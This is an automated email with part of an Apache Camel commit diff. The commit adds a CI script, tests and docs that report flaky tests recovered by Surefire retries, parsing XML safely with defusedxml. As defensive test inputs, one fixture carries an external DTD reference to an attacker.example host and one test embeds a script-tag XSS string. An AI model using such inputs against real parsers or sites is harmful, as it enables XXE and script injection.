This is an automated email from the ASF dual-hosted git repository.
davsclaus pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/camel.git
The following commit(s) were added to refs/heads/main by this push:
new 5f6ad3b577da CAMEL-24290: ci - report tests that only passed after a
retry (#25598)
5f6ad3b577da is described below
commit 5f6ad3b577da745517d2403a5ec001147aad2247
Author: Adriano Machado <[email protected]>
AuthorDate: Wed Sep 30 13:04:41 2026 -0400
CAMEL-24290: ci - report tests that only passed after a retry (#25598)
Surefire retries failing tests, so a test that fails and then passes within
those attempts (a recovered flake) leaves the build green with no visible trace.
CI now collects these recovered flakes from the surefire reports and
surfaces them in the build summary, making the retry cost measurable before
anything changes about how tests run. Part of CAMEL-24290.
Closes #25598
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: Claude Sonnet 5 <[email protected]>
Co-authored-by: Guillaume Nodet - AI Bot <[email protected]>
---
.github/CI-ARCHITECTURE.md | 52 ++++
.github/actions/incremental-build/action.yaml | 14 +
.../actions/incremental-build/collect-flakes.py | 275 ++++++++++++++++
.../actions/incremental-build/incremental-build.sh | 68 +++-
.../incremental-build/test_collect_flakes.py | 344 +++++++++++++++++++++
.../testdata/TEST-doctype-no-entities-rejected.xml | 9 +
.../testdata/TEST-doctype-rejected.xml | 13 +
.../testdata/TEST-error-then-failure-flake.xml | 19 ++
.../testdata/TEST-recovered-flake.xml | 25 ++
.../testdata/TEST-two-attempt-flake.xml | 18 ++
.../testdata/TEST-utf16-doctype-rejected.xml | Bin 0 -> 724 bytes
.github/workflows/main-build.yml | 10 +
.github/workflows/pr-build-main.yml | 16 +
.github/workflows/pr-ci-scripts-validation.yml | 15 +
14 files changed, 865 insertions(+), 13 deletions(-)
diff --git a/.github/CI-ARCHITECTURE.md b/.github/CI-ARCHITECTURE.md
index d4a16ccfaf3d..1214e5d37589 100644
--- a/.github/CI-ARCHITECTURE.md
+++ b/.github/CI-ARCHITECTURE.md
@@ -102,11 +102,63 @@ The script also:
- Detects tests disabled in CI (`@DisabledIfSystemProperty(named =
"ci.env.name")`)
- Applies an exclusion list for generated/meta modules
- Checks for excluded modules with associated integration tests (via
`manual-it-mapping.txt`) and advises contributors to run them manually
+- Reports recovered flaky tests (see below)
- Generates a unified PR comment with all test information
- Parses Maven reactor output from `incremental-test.log` and reports
**per-module elapsed time**, total reactor duration, and the top 20 slowest
modules (see `reactor_timing.sh`)
Unit tests for reactor timing parsing live in `reactor_timing_test.sh`.
+#### Recovered flake reporting (`collect-flakes.py`)
+
+Surefire retries failing tests: `surefire.rerunFailingTestsCount` defaults to
`2`
+in the `full` profile of `parent/pom.xml`, and both CI systems pass it again
+explicitly. A test that fails and then passes within those attempts is a
+**recovered flake**. The build stays green and nothing appears in the console
+output, so without this step the retry is invisible.
+
+`collect-flakes.py` runs on the always-path (a recovered flake means exit code
0,
+so it cannot live in the failure branch where `parse_errors.sh` runs). It walks
+`**/target/{surefire,failsafe}-reports/TEST-*.xml` and reports every
`<testcase>`
+carrying `<flakyFailure>`/`<flakyError>` children. Tests with
+`<rerunFailure>`/`<rerunError>` failed every attempt and already fail the
build,
+so they are deliberately excluded.
+
+Two outputs:
+
+- A section appended to the PR comment and the job summary, naming the module,
+ test, attempt count and first failure message. Nothing is emitted when no
test
+ was retried.
+- `flakes.json`, uploaded as `flakes-java-<version>` on PRs and
+ `flakes-main-java-<version>` on `main`. Develocity's flaky-test data does not
+ cover fork PRs (`.mvn/develocity.xml` publishes build scans only when
+ authenticated), so this artifact is the only per-PR record.
+
+Notes:
+
+- **The section names its JDK** (`flake-label` on the action, `--label` on the
+ script, also recorded in `flakes.json`). The PR-comment artifact is uploaded
+ with `overwrite: true` across the JDK matrix on the grounds that the content
is
+ identical between entries. Flake data is the one part that is not: if JDK 17
+ flakes and JDK 25 does not, whichever finishes last decides what the comment
+ shows. The label means the reader can tell which entry a shown flake came
from,
+ and the per-JDK artifacts remain the complete record.
+
+- **No time figure is reported.** Surefire records no per-attempt timing, and
+ `<testcase time>` reflects only the final successful attempt. Estimating cost
+ from it would understate timeout-driven flakes, which are the common kind.
+- The script declares its dependencies inline via
+ [PEP 723](https://peps.python.org/pep-0723/) and must be run with `uv run`;
+ plain `python3` ignores the metadata block. `uv` is installed by the action.
+- XML is parsed with `defusedxml`, with `forbid_dtd=True` passed explicitly —
+ the default only forbids entity *declarations*, which would let a bare
+ `<!DOCTYPE .. SYSTEM ..>` through. A pre-parse byte scan for `<!DOCTYPE` is
+ not sufficient either: it misses a UTF-16 document, where the marker is
+ interleaved with NUL bytes. `testdata/TEST-utf16-doctype-rejected.xml` covers
+ that case.
+- Failures are logged and skipped. This step must never be the reason a job
fails.
+
+Unit tests live in `test_collect_flakes.py` and run in
`pr-ci-scripts-validation.yml`.
+
### `install-mvnd`
Installs the Maven Daemon (mvnd) for faster builds.
diff --git a/.github/actions/incremental-build/action.yaml
b/.github/actions/incremental-build/action.yaml
index 6797a7ba016a..8cd0866696ec 100644
--- a/.github/actions/incremental-build/action.yaml
+++ b/.github/actions/incremental-build/action.yaml
@@ -41,6 +41,10 @@ inputs:
description: 'Extra Maven arguments to pass to the build (e.g.
-Denforcer.phase=none)'
required: false
default: ''
+ flake-label:
+ description: 'Names the matrix entry in the recovered-flake report (e.g.
"JDK 17"), so a reader can tell which entry a reported flake came from'
+ required: false
+ default: ''
runs:
using: "composite"
steps:
@@ -48,6 +52,15 @@ runs:
uses: apache/camel/.github/actions/install-mvnd@main
with:
dry-run: ${{ inputs.skip-mvnd-install }}
+ # collect-flakes.py declares its dependencies inline (PEP 723); uv is what
+ # honours that block. Installed here rather than in the caller so the
action
+ # stays self-contained for downstream repos that reuse it.
+ - id: install-uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d #
v10.0.1
+ with:
+ enable-cache: true
+ version: "0.12.5"
+ python-version: "3.11"
- name: maven test
env:
GITHUB_TOKEN: ${{ inputs.github-token }}
@@ -55,5 +68,6 @@ runs:
GITHUB_REPO: ${{ inputs.github-repo }}
EXTRA_MODULES: ${{ inputs.extra-modules }}
MAVEN_EXTRA_ARGS: ${{ inputs.maven-extra-args }}
+ FLAKE_LABEL: ${{ inputs.flake-label }}
shell: bash
run: ${{ github.action_path }}/incremental-build.sh ${{
steps.install-mvnd.outputs.mvnd-dir }}/mvnd "$PR_ID" "$GITHUB_REPO"
"$EXTRA_MODULES"
diff --git a/.github/actions/incremental-build/collect-flakes.py
b/.github/actions/incremental-build/collect-flakes.py
new file mode 100644
index 000000000000..86cdd3e33856
--- /dev/null
+++ b/.github/actions/incremental-build/collect-flakes.py
@@ -0,0 +1,275 @@
+#!/usr/bin/env python3
+#
+# Licensed to the Apache Software Foundation (ASF) under one or more
+# contributor license agreements. See the NOTICE file distributed with
+# this work for additional information regarding copyright ownership.
+# The ASF licenses this file to You under the Apache License, Version 2.0
+# (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# /// script
+# requires-python = ">=3.9"
+# dependencies = ["defusedxml>=0.7.1"]
+# ///
+
+"""Collect recovered flaky tests from surefire/failsafe XML reports.
+
+A recovered flake is a test that failed at least once and then passed within
+the attempts allowed by ``rerunFailingTestsCount``. Surefire records those
+attempts as ``<flakyFailure>``/``<flakyError>`` and reports the build as
+successful, so without this script they leave no trace in CI output at all.
+
+Tests that failed every attempt are recorded as ``<rerunFailure>``/
+``<rerunError>``. They already fail the build and are deliberately not
+collected here.
+
+Run with ``uv run collect-flakes.py`` so the PEP-723 dependency block above is
+honoured. Plain ``python3 collect-flakes.py`` ignores it and will fail on the
+defusedxml import.
+"""
+
+import argparse
+import json
+import os
+import sys
+from dataclasses import dataclass, replace
+from html import escape
+from pathlib import Path
+from xml.etree.ElementTree import ParseError
+
+import defusedxml.ElementTree as ET
+from defusedxml.common import DefusedXmlException
+
+# Surefire records a failed-then-passed attempt under these tags.
+FLAKY_TAGS = ("flakyFailure", "flakyError")
+
+# Maven writes unit-test reports under target/surefire-reports and
+# integration-test reports under target/failsafe-reports.
+REPORT_DIRS = ("surefire-reports", "failsafe-reports")
+
+
+@dataclass(frozen=True)
+class Flake:
+ classname: str
+ test: str
+ failed_attempts: int
+ message: str
+ module: str = ""
+
+
+def parse_report(path):
+ """Return the recovered flakes recorded in a single surefire/failsafe
report.
+
+ Raises ValueError if the document carries a DOCTYPE or tries an
+ entity-expansion or external-entity attack. Surefire never emits a DOCTYPE,
+ so any report that declares one did not come from the build. forbid_dtd has
+ to be passed explicitly: defusedxml only forbids entity *declarations* by
+ default, which would let a bare `<!DOCTYPE .. SYSTEM ..>` through.
+ """
+ raw = Path(path).read_bytes()
+ try:
+ root = ET.fromstring(raw, forbid_dtd=True)
+ except DefusedXmlException as exc:
+ raise ValueError(
+ f"refusing hostile XML report {path}: {type(exc).__name__}"
+ ) from exc
+
+ flakes = []
+ for testcase in root.iter("testcase"):
+ # Document order, so attempts[0] really is the first attempt: grouping
by
+ # tag would report the first flakyFailure even when a flakyError came
first.
+ attempts = [el for el in testcase if el.tag in FLAKY_TAGS]
+ if not attempts:
+ continue
+ flakes.append(
+ Flake(
+ classname=testcase.get("classname", ""),
+ test=testcase.get("name", ""),
+ failed_attempts=len(attempts),
+ message=attempts[0].get("message", ""),
+ )
+ )
+ return flakes
+
+
+def _report_files(root):
+ """Yield ``(module, report path)`` for every report under a reactor root.
+
+ os.walk rather than a ``**`` glob so the recursion can be pruned: after a
+ full build every module's target/ holds thousands of class and
+ generated-source directories, none of which can hold a report.
+ """
+ for dirpath, dirnames, filenames in os.walk(root):
+ name = os.path.basename(dirpath)
+ parent = os.path.basename(os.path.dirname(dirpath))
+ if name in REPORT_DIRS and parent == "target":
+ dirnames[:] = []
+ # .../<module>/target/<reports_dir>
+ module = Path(dirpath).parent.parent.relative_to(root).as_posix()
+ for filename in sorted(filenames):
+ if filename.startswith("TEST-") and filename.endswith(".xml"):
+ yield module, Path(dirpath) / filename
+ elif name == "target":
+ dirnames[:] = [d for d in dirnames if d in REPORT_DIRS]
+ else:
+ dirnames[:] = [d for d in dirnames if not d.startswith(".")]
+
+
+def collect(root):
+ """Walk a reactor and return every recovered flake, labelled by module.
+
+ An unreadable or hostile report is skipped with a warning rather than
+ aborting: this runs on the always-path of a build whose result is already
+ determined, and must never be the reason a job fails. ParseError covers a
+ report truncated by a JVM killed mid-write, ValueError the hostile
documents
+ parse_report rejects, and OSError an unreadable file.
+ """
+ root = Path(root)
+ flakes = []
+ for module, report in _report_files(root):
+ try:
+ parsed = parse_report(report)
+ except (ParseError, ValueError, OSError) as exc:
+ print(f"skipping unreadable report {report}: {exc}",
file=sys.stderr)
+ continue
+ flakes.extend(replace(flake, module=module) for flake in parsed)
+ return flakes
+
+
+def _ordered(flakes):
+ return sorted(flakes, key=lambda f: (f.module, f.classname, f.test))
+
+
+def to_payload(flakes, label=""):
+ """Build the machine-readable summary uploaded as a workflow artifact.
+
+ Aggregating this across PRs is what turns anecdotes about flaky tests into
+ the evidence needed to decide which ones to quarantine. ``label`` records
+ which matrix entry produced the data, so the aggregate can tell a test that
+ only flakes on one JDK from one that flakes everywhere.
+ """
+ ordered = _ordered(flakes)
+ return {
+ "label": label,
+ "total_flakes": len(ordered),
+ "total_retried_attempts": sum(f.failed_attempts for f in ordered),
+ "flakes": [
+ {
+ "module": f.module,
+ "classname": f.classname,
+ "test": f.test,
+ "failed_attempts": f.failed_attempts,
+ "message": f.message,
+ }
+ for f in ordered
+ ],
+ }
+
+
+def _cell(text):
+ """Make a value safe to drop into a markdown table cell.
+
+ Angle brackets are escaped, not just passed through: assertion messages are
+ full of them (``expected: <true> but was: <false>``) and GitHub's renderer
+ treats ``<true>`` as raw HTML and strips it, silently eating the message.
+ """
+ collapsed = escape(" ".join(text.split()), quote=False)
+ return collapsed.replace("|", "\\|") or "(no message)"
+
+
+def render_markdown(flakes, label=""):
+ """Render the PR-comment section, or an empty string when nothing was
retried.
+
+ ``label`` names the matrix entry the data came from (for example ``JDK
17``).
+ The PR-comment artifact is uploaded with overwrite: true across the JDK
+ matrix, and unlike the rest of the comment, flake data is genuinely not
+ identical between entries. Naming the entry means a reader can at least
tell
+ which JDK a reported flake came from; the per-JDK flakes-java-* artifacts
+ remain the complete record.
+ """
+ ordered = _ordered(flakes)
+ if not ordered:
+ return ""
+
+ attempts = sum(f.failed_attempts for f in ordered)
+ noun = "test" if len(ordered) == 1 else "tests"
+ attempt_noun = "attempt" if attempts == 1 else "attempts"
+ on_label = f" on {label}" if label else ""
+ lines = [
+ "",
+ f":repeat: **{len(ordered)} {noun} passed only after a
retry{on_label}** "
+ f"({attempts} retried {attempt_noun})",
+ "",
+ f"<details><summary>Recovered flaky tests{on_label}
({len(ordered)})</summary>",
+ "",
+ "| Module | Test | Failed attempts | First failure |",
+ "| --- | --- | --- | --- |",
+ ]
+ for f in ordered:
+ simple_class = _cell(f.classname.rsplit(".", 1)[-1])
+ lines.append(
+ f"| `{_cell(f.module)}` | `{simple_class}.{_cell(f.test)}` |
{f.failed_attempts} "
+ f"| {_cell(f.message)} |"
+ )
+ lines += [
+ "",
+ "> :information_source: These tests did **not** fail the build.
Surefire "
+ "retried them and they passed.",
+ "> Retries are enabled project-wide by
`surefire.rerunFailingTestsCount` "
+ "in `parent/pom.xml`.",
+ "",
+ "</details>",
+ ]
+ return "\n".join(lines)
+
+
+def main(argv=None):
+ parser = argparse.ArgumentParser(description=__doc__.splitlines()[0])
+ parser.add_argument("root", help="reactor root to scan for test reports")
+ parser.add_argument(
+ "--comment-file",
+ help="markdown file to append the flake section to (left untouched
when "
+ "nothing was retried)",
+ )
+ parser.add_argument("--json-out", help="path to write the machine-readable
summary")
+ parser.add_argument(
+ "--step-summary",
+ help="path to append the section to as well, typically
$GITHUB_STEP_SUMMARY",
+ )
+ parser.add_argument(
+ "--label",
+ default="",
+ help="matrix entry this run covers (e.g. 'JDK 17'), named in the
section "
+ "and recorded in the JSON so aggregation can tell the entries apart",
+ )
+ args = parser.parse_args(argv)
+
+ flakes = collect(args.root)
+ section = render_markdown(flakes, args.label)
+
+ for target in (args.comment_file, args.step_summary):
+ if target and section:
+ with open(target, "a", encoding="utf-8") as handle:
+ handle.write(section + "\n")
+
+ if args.json_out:
+ Path(args.json_out).write_text(
+ json.dumps(to_payload(flakes, args.label), indent=2) + "\n",
+ encoding="utf-8",
+ )
+
+ print(f"recovered flaky tests: {len(flakes)}")
+ # Never fail the job: the build verdict is already decided by this point.
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
diff --git a/.github/actions/incremental-build/incremental-build.sh
b/.github/actions/incremental-build/incremental-build.sh
index c7ef9fd857e5..1dabf7359a22 100755
--- a/.github/actions/incremental-build/incremental-build.sh
+++ b/.github/actions/incremental-build/incremental-build.sh
@@ -424,6 +424,44 @@ checkManualItTests() {
fi
}
+# ── Recovered flake reporting ──────────────────────────────────────────
+#
+# Surefire retries failing tests (rerunFailingTestsCount, set project-wide in
+# parent/pom.xml). A test that fails and then passes leaves the build green and
+# leaves nothing in the console output, so it is invisible unless the XML
+# reports are read. parse_errors.sh cannot cover this: it reads .txt reports,
+# which carry no flake data, and it only runs when the build failed.
+#
+# Appends a section to the PR comment and writes flakes.json for aggregation
+# across PRs. Never fails the build: by this point the verdict is already set.
+reportRecoveredFlakes() {
+ local comment_file="$1"
+ local script_dir
+ script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+
+ if ! command -v uv >/dev/null 2>&1; then
+ echo "uv not found, skipping recovered-flake reporting"
+ return
+ fi
+
+ local extra_args=()
+ if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then
+ extra_args+=(--step-summary "$GITHUB_STEP_SUMMARY")
+ fi
+ # Names the matrix entry in the section. The PR comment is overwritten
+ # last-writer-wins across the JDK matrix, and flake data, unlike the rest of
+ # the comment, differs between entries.
+ if [ -n "${FLAKE_LABEL:-}" ]; then
+ extra_args+=(--label "$FLAKE_LABEL")
+ fi
+
+ uv run --quiet "${script_dir}/collect-flakes.py" . \
+ --comment-file "$comment_file" \
+ --json-out flakes.json \
+ "${extra_args[@]}" \
+ || echo "WARNING: recovered-flake reporting failed, continuing"
+}
+
# ── Scalpel shadow comparison ──────────────────────────────────────────
# Write Scalpel shadow comparison section to the PR comment.
@@ -1008,6 +1046,23 @@ main() {
local comment_file="incremental-test-comment.md"
writeComment "$comment_file" "$pl" "$grep_dep_module_ids"
"$grep_changed_props" "$testedDependents" "$extraModules"
+ # Step summary header. Written before anything else appends to the summary so
+ # the reader gets "what was built" before "what happened while building it".
+ if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then
+ {
+ echo ""
+ echo "### Tested modules"
+ echo ""
+ for w in $(echo "$final_pl" | tr ',' '\n'); do
+ echo "- \`$w\`"
+ done
+ echo ""
+ } >> "$GITHUB_STEP_SUMMARY"
+ fi
+
+ # Recovered flakes: a green build can still have retried its way there
+ reportRecoveredFlakes "$comment_file"
+
# Scalpel shadow comparison (observation only — after separator)
# Filter reactor_ids through EXCLUSION_LIST so the comparison is
# apples-to-apples: both sides exclude the same meta/generated modules.
@@ -1046,19 +1101,6 @@ main() {
append_reactor_timing_report "$log" "$comment_file" "$reactor_label"
"${GITHUB_STEP_SUMMARY:-}"
fi
- # Write step summary header
- if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then
- {
- echo ""
- echo "### Tested modules"
- echo ""
- for w in $(echo "$final_pl" | tr ',' '\n'); do
- echo "- \`$w\`"
- done
- echo ""
- } >> "$GITHUB_STEP_SUMMARY"
- fi
-
if [[ ${ret} -ne 0 ]]; then
echo ""
echo "============================================================"
diff --git a/.github/actions/incremental-build/test_collect_flakes.py
b/.github/actions/incremental-build/test_collect_flakes.py
new file mode 100644
index 000000000000..b07c526d1d78
--- /dev/null
+++ b/.github/actions/incremental-build/test_collect_flakes.py
@@ -0,0 +1,344 @@
+#!/usr/bin/env python3
+#
+# Licensed to the Apache Software Foundation (ASF) under one or more
+# contributor license agreements. See the NOTICE file distributed with
+# this work for additional information regarding copyright ownership.
+# The ASF licenses this file to You under the Apache License, Version 2.0
+# (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+"""Tests for collect-flakes.py.
+
+Run with: uv run --with defusedxml python3 -m unittest discover
+(plain python3 fails on the defusedxml import unless it is already installed).
+"""
+
+import contextlib
+import importlib.util
+import io
+import json
+import shutil
+import tempfile
+import unittest
+from dataclasses import replace
+from pathlib import Path
+
+HERE = Path(__file__).parent
+TESTDATA = HERE / "testdata"
+
+_spec = importlib.util.spec_from_file_location("collect_flakes", HERE /
"collect-flakes.py")
+collector = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(collector)
+
+
+class ParseReportTest(unittest.TestCase):
+ """A recovered flake is a test that failed at least once and then passed.
+
+ Surefire records it as <flakyFailure>. A test that failed every attempt is
+ recorded as <rerunFailure> and is NOT a flake: it already fails the build.
+ Conflating the two is the mistake this test exists to catch.
+ """
+
+ def test_reports_only_the_test_that_passed_on_retry(self):
+ flakes = collector.parse_report(TESTDATA / "TEST-recovered-flake.xml")
+
+ self.assertEqual(
+ ["flakyPassesOnRetry"],
+ [f.test for f in flakes],
+ "expected only the recovered flake; alwaysFails failed every
attempt "
+ "and alwaysPasses never failed",
+ )
+
+
+class FlakeAttributionTest(unittest.TestCase):
+ """A flake report is only actionable if it names the test and says why it
+ failed. Counting attempts separates a once-in-a-blue-moon flake from one
+ that needed every retry surefire allowed.
+ """
+
+ def test_captures_class_and_failure_message(self):
+ (flake,) = collector.parse_report(TESTDATA /
"TEST-recovered-flake.xml")
+
+ self.assertEqual("org.apache.camel.component.probe.ProbeTest",
flake.classname)
+ self.assertEqual("deliberate first-attempt failure", flake.message)
+
+ def test_reports_the_earliest_attempt_when_the_kinds_differ(self):
+ (flake,) = collector.parse_report(TESTDATA /
"TEST-error-then-failure-flake.xml")
+
+ self.assertEqual(
+ "first attempt timed out",
+ flake.message,
+ "the column is labelled 'First failure'; reading flakyFailure
before "
+ "flakyError would report the second attempt and hide the real
cause",
+ )
+
+ def test_counts_every_failed_attempt_not_just_the_first(self):
+ (flake,) = collector.parse_report(TESTDATA /
"TEST-two-attempt-flake.xml")
+
+ self.assertEqual(
+ 2,
+ flake.failed_attempts,
+ "the test failed twice before passing; reporting 1 would hide how "
+ "close it came to failing the build",
+ )
+
+
+class CollectTest(unittest.TestCase):
+ """Walking the reactor has to cover unit tests (surefire) and integration
+ tests (failsafe), and attribute each flake to the module that owns it. A
+ bare class name is not enough to file a ticket against.
+ """
+
+ @staticmethod
+ def _place(reports_dir, fixture):
+ reports_dir.mkdir(parents=True)
+ shutil.copy(TESTDATA / fixture, reports_dir / fixture)
+
+ def
test_finds_surefire_and_failsafe_reports_and_labels_the_owning_module(self):
+ with tempfile.TemporaryDirectory() as tmp:
+ root = Path(tmp)
+ self._place(
+ root / "components/camel-foo/target/surefire-reports",
+ "TEST-recovered-flake.xml",
+ )
+ self._place(
+ root / "components/camel-bar/target/failsafe-reports",
+ "TEST-two-attempt-flake.xml",
+ )
+
+ found = {(f.module, f.test) for f in collector.collect(root)}
+
+ self.assertEqual(
+ {
+ ("components/camel-bar", "connectsEventually"),
+ ("components/camel-foo", "flakyPassesOnRetry"),
+ },
+ found,
+ )
+
+ def
test_a_corrupt_report_is_skipped_rather_than_losing_the_whole_run(self):
+ with tempfile.TemporaryDirectory() as tmp:
+ root = Path(tmp)
+ good = root / "components/camel-foo/target/surefire-reports"
+ self._place(good, "TEST-recovered-flake.xml")
+ (root /
"components/camel-bad/target/surefire-reports").mkdir(parents=True)
+ (
+ root /
"components/camel-bad/target/surefire-reports/TEST-truncated.xml"
+ ).write_text("<testsuite><testcase name=")
+
+ warnings = io.StringIO()
+ with contextlib.redirect_stderr(warnings):
+ found = [f.test for f in collector.collect(root)]
+
+ self.assertEqual(["flakyPassesOnRetry"], found)
+ self.assertIn("TEST-truncated.xml", warnings.getvalue())
+
+
+class RenderTest(unittest.TestCase):
+ """The PR comment is the only place a contributor sees that a green build
+ quietly retried a test, so the section has to name the test precisely
enough
+ to tag or file a ticket against it.
+ """
+
+ FLAKES = [
+ collector.Flake(
+ classname="org.apache.camel.component.probe.SlowTest",
+ test="connectsEventually",
+ failed_attempts=2,
+ message="Connection refused",
+ module="components/camel-probe",
+ )
+ ]
+
+ def test_renders_nothing_when_no_test_was_retried(self):
+ self.assertEqual(
+ "",
+ collector.render_markdown([]),
+ "a clean run must not add an empty section to every PR comment",
+ )
+
+ def test_names_the_module_test_and_attempt_count(self):
+ rendered = collector.render_markdown(self.FLAKES)
+
+ self.assertIn("components/camel-probe", rendered)
+ self.assertIn("SlowTest.connectsEventually", rendered)
+ self.assertIn("2", rendered)
+ self.assertIn("Connection refused", rendered)
+
+ def test_escapes_a_message_github_would_otherwise_render_as_html(self):
+ rendered = collector.render_markdown(
+ [replace(self.FLAKES[0], message="expected: <true> but was:
<false>")]
+ )
+
+ self.assertIn(
+ "expected: <true> but was: <false>",
+ rendered,
+ "GitHub strips <true> as raw HTML, which would empty the column
for "
+ "the assertion messages that produce most flake reports",
+ )
+
+ def test_escapes_a_pipe_in_the_test_name_so_it_cannot_split_the_row(self):
+ rendered = collector.render_markdown(
+ [replace(self.FLAKES[0], test="[1]
input=<script>alert(1)</script>|extra")]
+ )
+
+ self.assertIn(
+ "<script>alert(1)</script>\\|extra",
+ rendered,
+ "a JUnit 5 @ParameterizedTest display name or a Camel URI/DSL "
+ "parameterized test routinely contains '|', which would otherwise "
+ "split the row into the wrong columns",
+ )
+
+ def
test_names_the_matrix_entry_so_the_overwritten_comment_stays_readable(self):
+ rendered = collector.render_markdown(self.FLAKES, "JDK 25")
+
+ self.assertIn(
+ "on JDK 25",
+ rendered,
+ "the PR comment is overwritten last-writer-wins across the JDK "
+ "matrix, so an unlabelled section leaves the reader unable to tell
"
+ "which JDK the flake came from",
+ )
+
+ def test_omits_the_label_entirely_when_no_matrix_entry_was_given(self):
+ rendered = collector.render_markdown(self.FLAKES)
+
+ self.assertNotIn(
+ " on ",
+ rendered.splitlines()[1],
+ "a single-entry caller must not get a dangling 'on ' in the
heading",
+ )
+
+ def test_json_payload_records_the_total_and_the_detail(self):
+ payload = collector.to_payload(self.FLAKES)
+
+ self.assertEqual("", payload["label"])
+ self.assertEqual(1, payload["total_flakes"])
+ self.assertEqual(2, payload["total_retried_attempts"])
+ self.assertEqual(
+ [
+ {
+ "module": "components/camel-probe",
+ "classname": "org.apache.camel.component.probe.SlowTest",
+ "test": "connectsEventually",
+ "failed_attempts": 2,
+ "message": "Connection refused",
+ }
+ ],
+ payload["flakes"],
+ )
+
+ def
test_json_payload_records_the_matrix_entry_for_cross_run_aggregation(self):
+ payload = collector.to_payload(self.FLAKES, "JDK 17")
+
+ self.assertEqual(
+ "JDK 17",
+ payload["label"],
+ "aggregating these artifacts is the point, and it cannot "
+ "distinguish a test that only flakes on one JDK from one that "
+ "flakes everywhere unless each payload says which JDK it is",
+ )
+
+
+class MainTest(unittest.TestCase):
+ """This runs on the always-path of a build whose verdict is already
decided.
+ It appends to the existing comment rather than replacing it, and never
+ reports failure.
+ """
+
+ def _reactor_with_one_flake(self, root):
+ reports = root / "components/camel-probe/target/surefire-reports"
+ reports.mkdir(parents=True)
+ shutil.copy(
+ TESTDATA / "TEST-two-attempt-flake.xml",
+ reports / "TEST-two-attempt-flake.xml",
+ )
+
+ def
test_appends_to_the_existing_comment_and_writes_the_json_artifact(self):
+ with tempfile.TemporaryDirectory() as tmp:
+ root = Path(tmp)
+ self._reactor_with_one_flake(root)
+ comment = root / "incremental-test-comment.md"
+ comment.write_text(":test_tube: **CI tested the following
modules:**\n")
+ payload_file = root / "flakes.json"
+
+ with contextlib.redirect_stdout(io.StringIO()):
+ exit_code = collector.main(
+ [str(root), "--comment-file", str(comment), "--json-out",
str(payload_file)]
+ )
+
+ text = comment.read_text()
+ payload = json.loads(payload_file.read_text())
+
+ self.assertEqual(0, exit_code)
+ self.assertTrue(
+ text.startswith(":test_tube:"), "must not clobber the existing
comment"
+ )
+ self.assertIn("connectsEventually", text)
+ self.assertEqual(1, payload["total_flakes"])
+ self.assertEqual(2, payload["total_retried_attempts"])
+
+ def test_writes_a_zero_payload_and_no_comment_section_on_a_clean_run(self):
+ with tempfile.TemporaryDirectory() as tmp:
+ root = Path(tmp)
+ comment = root / "incremental-test-comment.md"
+ comment.write_text("original\n")
+ payload_file = root / "flakes.json"
+
+ with contextlib.redirect_stdout(io.StringIO()):
+ exit_code = collector.main(
+ [str(root), "--comment-file", str(comment), "--json-out",
str(payload_file)]
+ )
+
+ text = comment.read_text()
+ payload = json.loads(payload_file.read_text())
+
+ self.assertEqual(0, exit_code)
+ self.assertEqual("original\n", text)
+ self.assertEqual(
+ 0,
+ payload["total_flakes"],
+ "a clean run must still record zero, so aggregating artifacts
across "
+ "PRs does not mistake a missing file for a missing flake",
+ )
+
+
+class DoctypeRejectionTest(unittest.TestCase):
+ """Surefire never emits a DOCTYPE, so any report carrying one is not a
+ surefire report. Refusing it up front closes entity-expansion DoS without
+ pulling in a third-party XML parser.
+ """
+
+ def test_rejects_a_report_containing_a_doctype(self):
+ with self.assertRaises(ValueError):
+ collector.parse_report(TESTDATA / "TEST-doctype-rejected.xml")
+
+ def test_rejects_a_doctype_that_declares_no_entities_of_its_own(self):
+ """defusedxml forbids entity *declarations* by default but allows a
bare
+ DOCTYPE, so forbid_dtd has to be requested explicitly. Without it an
+ external subset pointing at an attacker-controlled DTD is accepted.
+ """
+ with self.assertRaises(ValueError):
+ collector.parse_report(TESTDATA /
"TEST-doctype-no-entities-rejected.xml")
+
+ def test_rejects_a_doctype_hidden_by_a_non_utf8_encoding(self):
+ """A byte-level scan for b'<!DOCTYPE' misses a UTF-16 document, where
+ the marker is interleaved with NUL bytes. Entity defence has to happen
+ in the parser, after decoding, not in a pre-parse string search.
+ """
+ with self.assertRaises(ValueError):
+ collector.parse_report(TESTDATA /
"TEST-utf16-doctype-rejected.xml")
+
+
+if __name__ == "__main__":
+ unittest.main()
diff --git
a/.github/actions/incremental-build/testdata/TEST-doctype-no-entities-rejected.xml
b/.github/actions/incremental-build/testdata/TEST-doctype-no-entities-rejected.xml
new file mode 100644
index 000000000000..f4ff01d8e34e
--- /dev/null
+++
b/.github/actions/incremental-build/testdata/TEST-doctype-no-entities-rejected.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- A DOCTYPE that declares no entities of its own. defusedxml's default
+ forbid_entities does not reject this; only forbid_dtd does. -->
+<!DOCTYPE testsuite SYSTEM "http://attacker.example/payload.dtd";>
+<testsuite name="org.apache.camel.probe.HostileTest" tests="1" failures="0"
flakes="1">
+ <testcase name="externalSubset"
classname="org.apache.camel.probe.HostileTest">
+ <flakyFailure message="boom" type="java.lang.AssertionError"/>
+ </testcase>
+</testsuite>
diff --git
a/.github/actions/incremental-build/testdata/TEST-doctype-rejected.xml
b/.github/actions/incremental-build/testdata/TEST-doctype-rejected.xml
new file mode 100644
